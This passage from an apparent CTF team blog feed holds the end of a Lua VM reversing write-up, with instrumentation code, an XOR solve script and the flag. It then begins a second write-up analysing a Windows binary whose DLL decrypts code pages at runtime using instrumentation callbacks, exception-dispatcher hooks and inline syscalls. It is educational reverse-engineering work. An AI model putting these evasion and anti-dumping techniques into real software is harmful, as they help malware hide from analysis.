</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    t = c.c
</span></span><span style="display:flex;"><span>    S[t] = S[t](o(S, t + <span style="color:#d0bf69">1</span>, c.S))
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- return value is the char at index arg2 inside flag_parts[2]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- we notice flag_parts[2] getting printed with a value that seem an index</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- print(S[t], o(S, t + 1, c.S))</span>
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    S[c.c] = n[c.S]
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    S[c.c] = S[c.S] - S[c.N] <span style="color:#6c7986">-- (idx-1)</span>
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    S[c.c] = n[c.S]
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    S[c.c] = S[c.S] % S[c.N] <span style="color:#6c7986">-- (idx-1) % 3</span>
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    S[c.c] = S[c.S][S[c.N]] <span style="color:#6c7986">-- key[(idx-1) % 3]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- dump xor key</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> part2_key = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i=<span style="color:#d0bf69">0</span>, #S[c.S] <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>        part2_key = part2_key .. tostring(S[c.S][i]) .. <span style="color:#fc6a5d">&#34;, &#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    print(part2_key)
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    t = c.c
</span></span><span style="display:flex;"><span>    S[t] = S[t](o(S, t + <span style="color:#d0bf69">1</span>, c.S)) <span style="color:#6c7986">-- xor(flag_parts[2][idx] ^ key)</span>
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    S[c.c] = S[c.S][S[c.N]]
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- dump the xor result</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> part2_xored = <span style="color:#fc6a5d">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i=<span style="color:#d0bf69">1</span>, #S[c.S] <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>        part2_xored = part2_xored .. tostring(S[c.S][i]) .. <span style="color:#fc6a5d">&#34;, &#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    print(part2_xored)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>
</span></span></code></pre></div><p>After dumping <code>part2_xored</code> and <code>part2_key</code> we can write a simple solve script</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>xored = [<span style="color:#d0bf69">189</span>, <span style="color:#d0bf69">19</span>, <span style="color:#d0bf69">122</span>, <span style="color:#d0bf69">254</span>, <span style="color:#d0bf69">80</span>, <span style="color:#d0bf69">100</span>, <span style="color:#d0bf69">184</span>, <span style="color:#d0bf69">91</span>]
</span></span><span style="display:flex;"><span>key = [<span style="color:#d0bf69">202</span>, <span style="color:#d0bf69">34</span>, <span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(xored)):
</span></span><span style="display:flex;"><span>    xored[i] ^= key[i % <span style="color:#d0a8ff">len</span>(key)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(
</span></span><span style="display:flex;"><span>    (<span style="color:#fc6a5d">&#39;&#39;</span>).join(<span style="color:#d0a8ff">map</span>(<span style="color:#d0a8ff">chr</span>, xored))
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><blockquote>
<p>output: <code>w1z4rdry</code></p></blockquote>
<h1 id="lost-vm-part-3">Lost VM Part 3</h1>
<p>By using the new flag the crash message change to:</p>
<pre tabindex="0"><code>...
#flag_parts next vmpc 163
function: 0x010c6820: pc 2048   vmpc 56
__index: string; index: sub from line 1370
__index: string; index: char from line 1376
...
you know what to do now
</code></pre><p>It seem like that after retriving <code>#flag_parts[3]</code> we are not logging the vmpc responsible to perform the check, this is because <code>logged_instructions</code> saturated and we need to reset it in order to log again reused <code>vmpcs</code></p>
<p>Let&rsquo;s check vmpc 116</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">elseif</span> t &gt; <span style="color:#d0bf69">115</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- vmpc 116</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> e == <span style="color:#d0bf69">1815</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- 1815 =&gt; check if #flag_parts[2] == 8</span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#fc6a5d">&#34;vmpc 116&#34;</span>, S[c.c], <span style="color:#fc6a5d">&#34;~=&#34;</span>, S[c.N], e)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>print(e, S[c.c], <span style="color:#fc6a5d">&#34;~=&#34;</span>, S[c.N])
</span></span></code></pre></div><p>From the new output we can notice vmpc 116 begin used at pc 2045 to check <code>#flag_parts[3] == 8</code></p>
<pre tabindex="0"><code>access to flag_parts[3] from 2131
#flag_parts next vmpc 163
2045    4       ~=      8
function: 0x010b6a28: pc 2048   vmpc 56
</code></pre><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">elseif</span> t &gt; <span style="color:#d0bf69">115</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 116</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> e == <span style="color:#d0bf69">1815</span> or e == <span style="color:#d0bf69">2045</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">-- 1815 =&gt; check if #flag_parts[2] == 8</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">-- 2045 =&gt; check if #flag_parts[3] == 8</span>
</span></span><span style="display:flex;"><span>        print(<span style="color:#fc6a5d">&#34;vmpc 116&#34;</span>, S[c.c], <span style="color:#fc6a5d">&#34;~=&#34;</span>, S[c.N], e)
</span></span><span style="display:flex;"><span>        logged_instructions = {}; <span style="color:#6c7986">-- reset log blacklist</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><pre tabindex="0"><code>#flag_parts next vmpc 163
function: 0x00ec66c0: pc 2733   vmpc 197
__index: string; index: sub from line 1370
__index: string; index: char from line 1376
#flag_parts next vmpc 163
function: 0x00ec66c0: pc 2836   vmpc 114
tables metamethods are fun!
</code></pre><p>By looking at 197 we approach this part by inspecting the stack:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#6c7986">-- vmpc 197</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span><span style="display:flex;"><span>S[t] = S[t](o(S, t + <span style="color:#d0bf69">1</span>, c.S)) <span style="color:#6c7986">-- flag_parts[3]:sub(7, 8)</span>
</span></span><span style="display:flex;"><span>e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>c = l[e]
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- print(S[c.N]) -- flag_parts_3:sub(7, 8)</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- flag table must be on stack with a metatable</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i, v <span style="color:#fc5fa3">in</span> next, S <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> type(v) == <span style="color:#fc6a5d">&#39;table&#39;</span> and getmetatable(v) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        print(<span style="color:#fc6a5d">&#34;---------TALBE_WITH_METAMETHODS---------&#34;</span>)
</span></span><span style="display:flex;"><span>        tbl_foreach(v, print) <span style="color:#6c7986">-- we can reconstruct part3 easily</span>
</span></span><span style="display:flex;"><span>        print(<span style="color:#fc6a5d">&#34;----------------------------------------&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">-- m4573r3d</span>
</span></span><span style="display:flex;"><span>        logged_instructions = {}
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (S[c.c] ~= S[c.N]) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span></code></pre></div><p>From output:</p>
<pre tabindex="0"><code>---------TALBE_WITH_METAMETHODS---------
1       57
2       m4
3       3d
4       3r
----------------------------------------
</code></pre><blockquote>
<p>reconstructed: <code>m4573r3d</code></p></blockquote>
<pre tabindex="0"><code>YOU MADE IT! HERE IS YOUR FLAG: TRX{lu4_w1z4rdry_m4573r3d_aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3BSSEw0V1dF}
</code></pre>]]></content></item><item><title>TRX CTF 25 - Molly</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-molly/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-molly/</guid><description>&lt;h2 id="challenge-description">Challenge Description&lt;/h2>
&lt;p>&lt;em>yes, I play lego games while listening to music in my free time&lt;/em>&lt;/p>
&lt;h2 id="molly-overview">Molly Overview&lt;/h2>
&lt;p>We are presented with two PE x86_64 binaries: &lt;code>molly.exe&lt;/code> and &lt;code>molly_dll.dll&lt;/code>&lt;/p>
&lt;p>Initially, disassembling &lt;code>molly.exe&lt;/code> reveals a multitude of unusual instructions. Furthermore, the high entropy in the &lt;code>.text&lt;/code> section suggests that the code is not standard executable code.&lt;/p>
&lt;p>&lt;img src="https://theromanxpl0.it/trxctf25/molly/static_first_view.png" alt="static_first_view">&lt;/p>
&lt;p>At this point running &lt;code>molly.exe&lt;/code> produces the following output:
(binary is safe, you can also check VirusTotal)&lt;/p></description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p><em>yes, I play lego games while listening to music in my free time</em></p>
<h2 id="molly-overview">Molly Overview</h2>
<p>We are presented with two PE x86_64 binaries: <code>molly.exe</code> and <code>molly_dll.dll</code></p>
<p>Initially, disassembling <code>molly.exe</code> reveals a multitude of unusual instructions. Furthermore, the high entropy in the <code>.text</code> section suggests that the code is not standard executable code.</p>
<p><img src="/trxctf25/molly/static_first_view.png" alt="static_first_view"></p>
<p>At this point running <code>molly.exe</code> produces the following output:
(binary is safe, you can also check VirusTotal)</p>
<pre tabindex="0"><code>@@@@@@@@@@@@@@@@@@@ , @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@/  /////////////  /@@@@@@@@@@
@@@@@@@/ //*                 //. /@@@@@@
@@@@@  /       ///////// //      /  @@@@
@@@/ /     // //////////////       / /@@
@@ //    ///////  ////// /          /. @
@/ /    ////// /////*,.              / /
@ /    /////    //////////            /
, /    /////  //////////////          /
@ /    ///// ,//////////////          /
@/ /    ////  //////////             / /
@@ */    //   ////    /////         /, @
@@@/ /       ////     ,////        / /@@
@@@@@  /                *//      / .@@@@
@@@@@@@/  //                 //. /@@@@@@
@@@@@@@@@@@/  /////////////  /@@@@@@@@@@

&gt; SYSTEM VALIDATION IN PROGRESS
&gt; USER MUST INPUT THE VERIFICATION TOKEN molly.exe &lt;token&gt;
&gt; SYSTEM STATE: STOPPING
&gt; USE WITH CAUTION, NO FAILURES ALLOWED
</code></pre><h3 id="note">Note</h3>
<p>Upon executing Molly with an incorrect token, the binary becomes corrupted and an additional executable named <code>why.exe</code> is generated.</p>
<p>At this point <code>molly_dll.dll</code> likely plays a critical role in unpacking or decrypting <code>molly.exe</code>, making it the logical starting point for further analysis.</p>
<h2 id="molly-dynamic-overview">Molly Dynamic Overview</h2>
<p>By setting a breakpoint at the entry point of <code>molly.exe</code> using x64dbg and examining the memory regions corresponding to the <code>.text</code> section, we observed that the section is fragmented. Some regions are marked as <code>NO_ACCESS</code>, while others have a fixed size of <b>0x1000</b> with <code>READ_EXECUTE</code> permissions. This suggests that molly.exe is not packed; rather, it is decrypted and executed at runtime.</p>
<p><img src="/trxctf25/molly/x64dbg_regions.png" alt="x64dbg_regions"></p>
<h2 id="dll-static-analysis">Dll Static Analysis</h2>
<p>When the Windows loader calls an imported DLL with an entry point, it executes on the main thread before the process&rsquo;s own entry point. As a result, the process entry point will not run until all DLL entry points have completed.</p>
<p>Disassembling the dll_main function within <code>molly_dll.dll</code> reveals a call to <code>GetProcAddress</code> for resolving <code>KiUserExceptionDispatcher</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-as" data-lang="as"><span style="display:flex;"><span>call    qword [rel GetCurrentProcess]
</span></span><span style="display:flex;"><span>lea     rcx, [rel data_180006c48]  {<span style="color:#fc6a5d">&#34;ntdll.dll&#34;</span>}
</span></span><span style="display:flex;"><span>mov     rbx, rax
</span></span><span style="display:flex;"><span>call    qword [rel GetModuleHandleA]
</span></span><span style="display:flex;"><span>test    rax, rax
</span></span><span style="display:flex;"><span>je      <span style="color:#d0bf69">0x180002fb3</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>lea     rdx, [rel data_180006c58]  {<span style="color:#fc6a5d">&#34;KiUserExceptionDispatcher&#34;</span>}
</span></span><span style="display:flex;"><span>mov     rcx, rax
</span></span><span style="display:flex;"><span>call    qword [rel GetProcAddress]
</span></span><span style="display:flex;"><span>mov     qword [rel KiUserExceptionDispatcher_Add], rax
</span></span><span style="display:flex;"><span>test    rax, rax
</span></span><span style="display:flex;"><span>je      <span style="color:#d0bf69">0x180002fb3</span>
</span></span></code></pre></div><p>The resolution of <code>KiUserExceptionDispatcher</code> implies that <code>molly_dll.dll</code> is involved in Windows exception handling, which could be key to its runtime decryption capabilities. Also no standard exception handler appears to be registered&hellip; Let&rsquo;s look deeper</p>
<p>An effective obfuscation technique observed in <code>molly_dll.dll</code> is the inline use of system calls, which &ldquo;obscures&rdquo; the actual API functions being utilized:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-as" data-lang="as"><span style="display:flex;"><span>mov     eax, <span style="color:#d0bf69">0x1c</span>
</span></span><span style="display:flex;"><span>mov     r10, rcx
</span></span><span style="display:flex;"><span>syscall
</span></span><span style="display:flex;"><span>retn     {__return_addr}
</span></span></code></pre></div><p>After looking for <code>eax, 0x1c</code> syscall signature inside <code>ntdll.dll</code> we can confirm this function is a reimplementation of <code>NtSetInformationProcess</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-as" data-lang="as"><span style="display:flex;"><span>lea     rax, [rel sub_1800030b0]
</span></span><span style="display:flex;"><span>mov     r9d, <span style="color:#d0bf69">0x10</span>
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x28</span> {var_10_1}], rax  {sub_1800030b0}
</span></span><span style="display:flex;"><span>lea     r8, [rsp+<span style="color:#d0bf69">0x20</span> {infostruct}]
</span></span><span style="display:flex;"><span>xor     eax, eax  {<span style="color:#d0bf69">0x0</span>}
</span></span><span style="display:flex;"><span>mov     edx, <span style="color:#d0bf69">0x28</span>
</span></span><span style="display:flex;"><span>mov     rcx, rbx
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x20</span> {infostruct}], rax  {<span style="color:#d0bf69">0x0</span>}
</span></span><span style="display:flex;"><span>call    NtSetInformationProcess
</span></span></code></pre></div><p><code>NtSetInformationProcess</code> is invoked with the undocumented <code>PROCESSINFOCLASS</code> value <b>0x28</b>, which is responsible for setting an InstrumentationCallback in the process structure.</p>
<p>The function <code>sub_1800030b0</code> acts as this callback, being invoked during a kernel-mode to user-mode transition with a special register <code>r15</code> that points to the target user-mode function.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-as" data-lang="as"><span style="display:flex;"><span>ic_hook:
</span></span><span style="display:flex;"><span>push    r10 {var_8_1}
</span></span><span style="display:flex;"><span>push    rax {var_10}
</span></span><span style="display:flex;"><span>pushfq   {var_18}
</span></span><span style="display:flex;"><span>push    rbx {__saved_rbx}
</span></span><span style="display:flex;"><span>mov     rbx, rsp {__saved_rbx}
</span></span><span style="display:flex;"><span>lea     rax, [rel ic_hook_handler]
</span></span><span style="display:flex;"><span>cmp     rcx, rax
</span></span><span style="display:flex;"><span>cmove   rcx, r10
</span></span><span style="display:flex;"><span>lea     r10, [rsp-<span style="color:#d0bf69">0xc0</span> {var_e0}]
</span></span><span style="display:flex;"><span>and     r10 {var_e0}, <span style="color:#d0bf69">0xfffffffffffffff0</span>
</span></span><span style="display:flex;"><span>mov     rsp, r10
</span></span><span style="display:flex;"><span>cld
</span></span><span style="display:flex;"><span>sub     rsp, <span style="color:#d0bf69">0x60</span>
</span></span><span style="display:flex;"><span>mov     qword [rsp {var_140}], rcx
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x8</span> {__saved_rdx}], rdx
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x10</span> {__saved_rdi}], rdi
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x18</span> {__saved_rsi}], rsi
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x20</span> {__saved_r8}], r8
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x28</span> {__saved_r9}], r9
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x30</span> {__saved_r11}], r11
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x38</span> {__saved_r12}], r12
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x40</span> {__saved_r13}], r13
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x48</span> {__saved_r14}], r14
</span></span><span style="display:flex;"><span>mov     qword [rsp+<span style="color:#d0bf69">0x50</span> {__saved_r15}], r15
</span></span><span style="display:flex;"><span>sub     rsp, <span style="color:#d0bf69">0x60</span>
</span></span><span style="display:flex;"><span>movaps  xmmword [rsp {__saved_zmm0}], xmm0
</span></span><span style="display:flex;"><span>movaps  xmmword [rsp+<span style="color:#d0bf69">0x10</span> {__saved_zmm1}], xmm1
</span></span><span style="display:flex;"><span>movaps  xmmword [rsp+<span style="color:#d0bf69">0x20</span> {__saved_zmm2}], xmm2
</span></span><span style="display:flex;"><span>movaps  xmmword [rsp+<span style="color:#d0bf69">0x30</span> {__saved_zmm3}], xmm3
</span></span><span style="display:flex;"><span>movaps  xmmword [rsp+<span style="color:#d0bf69">0x40</span> {__saved_zmm4}], xmm4
</span></span><span style="display:flex;"><span>movaps  xmmword [rsp+<span style="color:#d0bf69">0x50</span> {__saved_zmm5}], xmm5
</span></span><span style="display:flex;"><span>mov     rdx, qword [rbx+<span style="color:#d0bf69">0x10</span> {var_10}]
</span></span><span style="display:flex;"><span>mov     rcx, qword [rbx+<span style="color:#d0bf69">0x18</span> {var_8_1}]
</span></span><span style="display:flex;"><span>call    ic_hook_handler
</span></span><span style="display:flex;"><span>mov     qword [rbx+<span style="color:#d0bf69">0x18</span> {var_8}], rax
</span></span><span style="display:flex;"><span>movaps  xmm0, xmmword [rsp {__saved_zmm0}]
</span></span><span style="display:flex;"><span>movaps  xmm1, xmmword [rsp+<span style="color:#d0bf69">0x10</span> {__saved_zmm1}]
</span></span><span style="display:flex;"><span>movaps  xmm2, xmmword [rsp+<span style="color:#d0bf69">0x20</span> {__saved_zmm2}]
</span></span><span style="display:flex;"><span>movaps  xmm3, xmmword [rsp+<span style="color:#d0bf69">0x30</span> {__saved_zmm3}]
</span></span><span style="display:flex;"><span>movaps  xmm4, xmmword [rsp+<span style="color:#d0bf69">0x40</span> {__saved_zmm4}]
</span></span><span style="display:flex;"><span>movaps  xmm5, xmmword [rsp+<span style="color:#d0bf69">0x50</span> {__saved_zmm5}]
</span></span><span style="display:flex;"><span>add     rsp, <span style="color:#d0bf69">0x60</span>
</span></span><span style="display:flex;"><span>mov     rcx, qword [rsp {var_140}]
</span></span><span style="display:flex;"><span>mov     rdx, qword [rsp+<span style="color:#d0bf69">0x8</span> {__saved_rdx}]
</span></span><span style="display:flex;"><span>mov     rdi, qword [rsp+<span style="color:#d0bf69">0x10</span> {__saved_rdi}]
</span></span><span style="display:flex;"><span>mov     rsi, qword [rsp+<span style="color:#d0bf69">0x18</span> {__saved_rsi}]
</span></span><span style="display:flex;"><span>mov     r8, qword [rsp+<span style="color:#d0bf69">0x20</span> {__saved_r8}]
</span></span><span style="display:flex;"><span>mov     r9, qword [rsp+<span style="color:#d0bf69">0x28</span> {__saved_r9}]
</span></span><span style="display:flex;"><span>mov     r11, qword [rsp+<span style="color:#d0bf69">0x30</span> {__saved_r11}]
</span></span><span style="display:flex;"><span>mov     r12, qword [rsp+<span style="color:#d0bf69">0x38</span> {__saved_r12}]
</span></span><span style="display:flex;"><span>mov     r13, qword [rsp+<span style="color:#d0bf69">0x40</span> {__saved_r13}]
</span></span><span style="display:flex;"><span>mov     r14, qword [rsp+<span style="color:#d0bf69">0x48</span> {__saved_r14}]
</span></span><span style="display:flex;"><span>mov     r15, qword [rsp+<span style="color:#d0bf69">0x50</span> {__saved_r15}]
</span></span><span style="display:flex;"><span>add     rsp, <span style="color:#d0bf69">0x60</span>
</span></span><span style="display:flex;"><span>mov     rsp, rbx
</span></span><span style="display:flex;"><span>pop     rbx {__saved_rbx}
</span></span><span style="display:flex;"><span>popfq
</span></span><span style="display:flex;"><span>pop     rax {var_10}
</span></span><span style="display:flex;"><span>pop     r10 {var_8}
</span></span><span style="display:flex;"><span>jmp     r10
</span></span></code></pre></div><p>The function in the middle is responsible for setting the return address. Basically, the argument it receives is the original return address and it compares it against one specific target function <code>(KiUserExceptionDispatcher)</code>, if the addresses match up, then it returns a new hook otherwise it returns the argument passed.</p>
<h3 id="ki_user_exp_stub">ki_user_exp_stub</h3>
<pre tabindex="0"><code>cld
lea     rcx, [rsp+0x4f0 {exp_record}]
mov     rdx, rsp {__return_addr}
call    ki_user_exp_hook
test    rax, rax
je      0x1800031c0

jmp     rax

cld
mov     rcx, rsp {__return_addr}
mov     rdx, 0x0
call    RtlRestoreContext  {ic_hook_handler}
</code></pre><h3 id="ki_user_exp_hook">ki_user_exp_hook</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (exp_record-&gt;ExceptionCode == STATUS_ACCESS_VIOLATION &amp;&amp; exp_record-&gt;ExceptionAddress)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">uintptr_t</span> page_base = exp_record-&gt;ExceptionInformation[<span style="color:#d0bf69">1</span>] &amp; <span style="color:#d0bf69">0xfffffffffffff000</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (<span style="color:#41a1c0">sub_180004110</span>(&amp;page_guard, page_base))
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> (<span style="color:#41a1c0">_Mtx_lock</span>(&amp;encryption_mutex))
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            std::<span style="color:#41a1c0">_Throw_Cpp_error</span>(<span style="color:#d0bf69">5</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986">/* no return */</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> (data_18000a05c == <span style="color:#d0bf69">0x7fffffff</span>)
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            data_18000a05c = <span style="color:#d0bf69">0x7ffffffe</span>;
</span></span><span style="display:flex;"><span>            std::<span style="color:#41a1c0">_Throw_Cpp_error</span>(<span style="color:#d0bf69">6</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986">/* no return */</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">sub_180003bd0</span>(&amp;page_guard, page_base);
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">sub_180003de0</span>(&amp;page_guard);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">int64_t</span> result = <span style="color:#41a1c0">_Mtx_unlock</span>(&amp;encryption_mutex);
</span></span><span style="display:flex;"><span>        exp_record-&gt;ExceptionCode = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>        exp_record-&gt;ExceptionFlags = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>        exp_record-&gt;ExceptionAddress = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>        exp_record-&gt;NumberParameters = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>        context-&gt;EFlags = <span style="color:#d0bf69">0xfe</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> result;  <span style="color:#6c7986">// return 0
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">return</span> KiUserExceptionDispatcher_Add;
</span></span></code></pre></div><p>It is evident that <code>ki_user_exp_hook</code> handles <code>STATUS_ACCESS_VIOLATION</code> exceptions caused by attempts to access <code>NO_ACCESS</code> pages, allowing <code>sub_180003bd0</code> to decrypt it. Once a guarded page is successfully decrypted, <code>ki_user_exp_stub</code> checks the return value from <code>ki_user_exp_hook</code>. If the value is 0, it calls <code>RtlRestoreContext</code> to restore the execution state, allowing the binary to continue execution.</p>
<blockquote>
<p><code>sub_180004110</code> check if the page is a guarded_page <br>
<code>sub_180003de0</code> is responsible to re-encrypts old pages, making runtime dumping &ldquo;ineffective&rdquo;</p></blockquote>
<h2 id="binary-static-decryptor">Binary Static Decryptor</h2>
<p>Now let&rsquo;s look inside <code>sub_180003bd0</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">void</span>* <span style="color:#41a1c0">decrypt_page</span>(<span style="color:#fc5fa3">int32_t</span>* arg1, <span style="color:#fc5fa3">uintptr_t</span> page_base)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    page_base_1 = page_base;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">void</span>* result = <span style="color:#41a1c0">sub_1800035f0</span>(arg1, &amp;page_base_1);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (result)
</span></span><span style="display:flex;"><span>    {
